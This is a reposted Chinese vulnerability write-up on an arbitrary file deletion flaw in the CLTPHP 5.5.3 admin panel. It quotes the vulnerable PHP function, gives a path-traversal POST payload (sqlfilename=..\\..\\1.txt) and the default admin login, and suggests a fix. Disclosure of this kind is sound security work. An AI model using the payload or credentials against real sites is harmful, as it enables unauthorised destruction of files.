1. 程式人生 > >【代碼審計】CLTPHP_v5.5.3後臺任意文件刪除漏洞分析

【代碼審計】CLTPHP_v5.5.3後臺任意文件刪除漏洞分析

login alt flag div 網站源碼 用戶 urn 測試 result

0x00 環境準備

CLTPHP官網:http://www.cltphp.com

網站源碼版本:CLTPHP內容管理系統5.5.3版本

程序源碼下載:https://gitee.com/chichu/cltphp

默認後臺地址: http://127.0.0.1/admin/login/index.html

默認賬號密碼: 後臺登錄名:admin 密碼:admin123

測試網站首頁:

技術分享圖片

0x01 代碼分析

1、/app/admin/controller/Database.php 第221-248行:

  1. public function delSqlFiles() {
  2. $batchFlag = input(‘param.batchFlag‘, 0, ‘intval‘);
  3. //批量刪除
  4. if ($batchFlag) {
  5. $files = input(‘key‘, array());
  6. }else {
  7. $files[] = input(‘sqlfilename‘ , ‘‘);
  8. }
  9. if (empty($files)) {
  10. 10. $result[‘msg‘] = ‘請選擇要刪除的sql文件!‘;
  11. 11. $result[‘code‘] = 0;
  12. 12. return $result;
  13. 13. }
  14. 14.
  15. 15. foreach ($files as $file) {
  16. 16. $a = unlink($this->datadir.‘/‘ . $file);
  17. 17. }
  18. 18. if($a){
  19. 19. $result[‘msg‘] = ‘刪除成功!‘;
  20. 20. $result[‘url‘] = url(‘restore‘);
  21. 21. $result[‘code‘] = 1;
  22. 22. return $result;
  23. 23. }else
    {
  24. 24. $result[‘msg‘] = ‘刪除失敗!‘;
  25. 25. $result[‘code‘] = 0;
  26. 26. return $result;
  27. 27. }

28. }

在這段函數中,參數sqlfilename未經任何處理,直接帶入unlink函數中刪除,導致程序在實現上存在任意文件刪除漏洞,攻擊者可通過該漏洞刪除任意文件。

0x02 漏洞利用

1、 在根目錄新建test.txt,作為漏洞測試文件

技術分享圖片

2、 構造URL,成功刪除根目錄的1.txt文件

http://127.0.0.1/admin/Database/delSqlFiles.html

POST: sqlfilename=..\\..\\1.txt

技術分享圖片

0x03 修復建議

1、對於要刪除的文件,通過正則判斷用戶輸入的參數的格式,看輸入的格式是否合法。

最後

歡迎關註個人微信公眾號:Bypass--,每周原創一篇技術幹貨。

技術分享圖片

【代碼審計】CLTPHP_v5.5.3後臺任意文件刪除漏洞分析